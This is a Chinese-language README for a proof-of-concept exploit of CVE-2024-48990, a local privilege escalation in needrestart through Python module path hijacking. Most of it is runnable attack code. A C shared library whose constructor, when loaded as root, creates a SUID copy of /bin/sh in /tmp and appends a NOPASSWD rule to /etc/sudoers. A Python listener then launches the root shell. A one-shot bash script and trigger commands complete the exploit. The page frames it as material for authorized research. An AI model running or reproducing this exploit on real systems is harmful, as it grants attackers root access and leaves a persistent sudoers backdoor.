CVE-2024-48990-PoC-Testing 🐍🔓
本项目提供了一个完整的漏洞验证环境,用于演示 needrestart 程序在 Python 路径配置上的缺陷(CVE-2024-48990)。通过该漏洞,攻击者可能实现本地权限提升。本工具仅限在受控环境中进行安全研究与授权测试。
⚠️ 漏洞概述
CVE-2024-48990 存在于 needrestart 包中。该程序未能正确设置 Python 的模块搜索路径,当特定操作触发 needrestart 执行时,攻击者可利用此缺陷加载恶意 Python 库,从而提升至 root 权限。
快速检测是否存在漏洞
needrestart --version | grep -q "3.7" && echo "Definitely vulnerable" || echo "Version is potentially not vulnerable, this simply checks for 3.7"
安装漏洞版本用于测试
sudo apt install needrestart=3.7-3
✨ 功能特性
- 一键式漏洞环境搭建:自动创建恶意 Python 模块目录并编译共享库
- 权限提升演示:成功触发后生成带有 SUID 权限的 shell 并自动配置 sudo 免密执行
- 自动化触发监听:Python 脚本持续监听漏洞触发条件,成功后自动获取提权 shell
- 完整的清理脚本:提供清理命令,移除测试文件和 sudoers 配置
- 受控环境安全设计:所有操作均在
/tmp目录进行,不影响系统核心文件
📦 安装指南
系统要求
- 操作系统:Linux(推荐 Ubuntu/Debian)
- 依赖包:
needrestart(漏洞版本 3.7-3)、gcc、Python 3.x - 权限:普通用户权限即可搭建环境,触发漏洞需要等待
needrestart以高权限执行
安装步骤
- 确保系统已安装
gcc和python3:
sudo apt update
sudo apt install gcc python3
- 安装存在漏洞的
needrestart版本(用于测试):
sudo apt install needrestart=3.7-3
🚀 使用说明
一键执行完整测试
将以下完整脚本复制到终端中直接运行,它将自动搭建漏洞环境并开启监听:
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# 创建并编译恶意共享库
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // 仅在 root 权限下执行
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# 创建 Python 监听脚本
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
EOF
cd /tmp/malicious
clear
echo -e "\n\nWaiting for needrestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"
PYTHONPATH="$PWD" python3 e.py 2>/dev/null
触发漏洞
在另一个终端中执行以下命令(模拟软件安装/卸载操作)来触发 needrestart:
sudo apt remove ntp; sudo apt install ntp
实际场景中,任何会触发
needrestart执行的操作(如sudo apt update)都可能触发此漏洞。
清理环境
测试完成后,使用 root 权限执行清理:
sudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers
rm -rf /tmp/malicious /tmp/poc
ls
💻 核心代码
恶意共享库(lib.c)
该 C 代码编译为共享库,利用构造函数特性在库被加载时自动执行。当检测到进程具有 root 有效用户 ID(euid=0)时,生成 SUID shell 并配置 sudoers 文件。
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if(geteuid() == 0) { // Only execute if we're running with root privileges
setuid(0);
setgid(0);
const char *shell = "cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
system(shell);
}
}
Python 监听脚本(e.py)
该脚本持续监听提权后门文件(/tmp/poc)的生成,一旦检测到即自动执行获取 root shell。
import time
while True:
try:
import importlib
except:
pass
if __import__("os").path.exists("/tmp/poc"):
print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
__import__("os").system("sudo /tmp/poc -p")
break
time.sleep(1)
环境搭建脚本(主脚本)
完整的 Bash 自动化脚本,用于创建恶意目录、编译共享库、生成 Python 监听器并设置 PYTHONPATH 环境变量以劫持 importlib 模块导入。
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
[... lib.c 完整内容 ...]
EOF
gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
[... e.py 完整内容 ...]
EOF
cd /tmp/malicious
clear
echo -e "\n\nWaiting for needrestart execution..."
PYTHONPATH="$PWD" python3 e.py 2>/dev/null
🔗 相关资源
- GitHub 仓库:CVE-2024-48990-PoC
- CVE 详情:CVE-2024-48990
⚠️ 警告:本工具仅限安全研究与授权测试使用。在未授权环境中利用此漏洞可能违法,请始终在获得明确许可后开展安全测试。
Happy testing! 🧪🚀 6HFtX5dABrKlqXeO5PUv/2riN2rtkNnXoWJW1K+2M00/BFIg4/gaEOl+inHDRXgC